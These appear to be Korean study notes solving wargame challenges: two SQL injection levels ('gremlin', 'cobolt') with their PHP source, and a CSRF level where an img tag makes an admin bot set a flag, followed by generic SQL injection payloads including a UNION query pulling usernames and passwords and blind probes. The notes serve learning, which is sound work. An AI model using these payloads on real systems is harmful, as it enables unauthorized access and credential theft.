문제코드:
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>
-> sql문을 통해 pw가 true가 되도록 injection을 해야함
풀이:
id는 상관이 없고 pw부분만 true가 되도록 우회하는 방법을 선택
주소창 php뒤에
?id=evision&pw=0'or'1'='1
pw가 0이 아니라도 or문을 통해 '1'='1'이 항상 참이 되어서 값이 True가 된다
이때 and를 &로 써야 인식 가능d를 &로 써야 인식 가능

문제코드:
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?>
풀이:
앞에 문제와 다르게 cobolt 문제에서는 id = admin이어야하고, pw는 md5라는 인코딩을 통해
pw값을 계산한다.
->인코딩 부분을 건너뛰기 위해 pw부분을 주석처리하는 방법을 선택
?id=admin' -- &pw=1234
이렇게 작성을 하면 id=admin이 맞춰지면서 뒤에 pw부분은 주석 '--'을 통해 pw에대한 값은 확인을 안 한채로 solve를 할 수 있다.

문제 화면은 다음과 같다.

각 페이지에 들어가보면

@app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param-> url에서 파라미터 값을 가져오고 xss_filter를 수행후 값 반환
/memo

코드:
@app.route("/memo") def memo(): global memo_text text = request.args.get("memo", None) if text: memo_text += text return render_template("memo.html", memo=memo_text)
->url 쿼리에서 memo값을 가져와 memo_text에 저장한다
/notice_flag

코드:
@app.route("/admin/notice_flag") def admin_notice_flag(): global memo_text if request.remote_addr != "127.0.0.1": return "Access Denied" if request.args.get("userid", "") != "admin": return "Access Denied 2" memo_text += f"[Notice] flag is {FLAG}\n" return "Ok"
-> notice_flag()함수는 addr가 127.0.0.1 (localhost)에서만 접근할 수 있고, userid가 "admin"일 때만 작동하고 memo_text에 flag값을 합쳐 저장한다.
/flag

코드:
@app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param", "") if not check_csrf(param): return 'script>alert("wrong??");history.go(-1);script' return 'script>alert("good");history.go(-1);script' memo_text = ""
-> 파라미터를 가져온 후 check_csrf() 함수로 검증 수행,
만약 값이 유효하지 않으면 worng을 띄우고 good을 띄운 후 이전페이지로 사용자를 돌려보는다
`
def_check_csrf
def check_csrf(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie)
-> param 값을 URL 인코딩하여, http://127.0.0.1:8000/vuln 경로로 HTTP 요청을 보내고, 쿠키 값도 함께 전송
풀이:
flag에 파라미터 입력을 이용하여 notice_flag 페이지에 접근해 adrr를 127.0.0.1로 맞추고 usirid=admin으로 맞추어 xss검증을 통과한 후 /memo에서 flag 값을 확인하면 된다.
<img src = "http://127.0.0.1:8000/admin/notice_flag?userid=admin">

' OR 1=1 -- SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM users; -> 이 쿼리는 users 테이블의 username과 password 정보를 반환하게 된다문자추출
' AND SUBSTRING((SELECT version()), 1, 1) = '5' --
-> 이터베이스 버전의 첫 번째 문자가 '5'일 경우 참(True)을 반환
2.숫자확인
' AND (SELECT COUNT(*) FROM users) > 5 --
-> 사용자 테이블에 5명 이상의 사용자가 있을 경우 참(True)을 반환
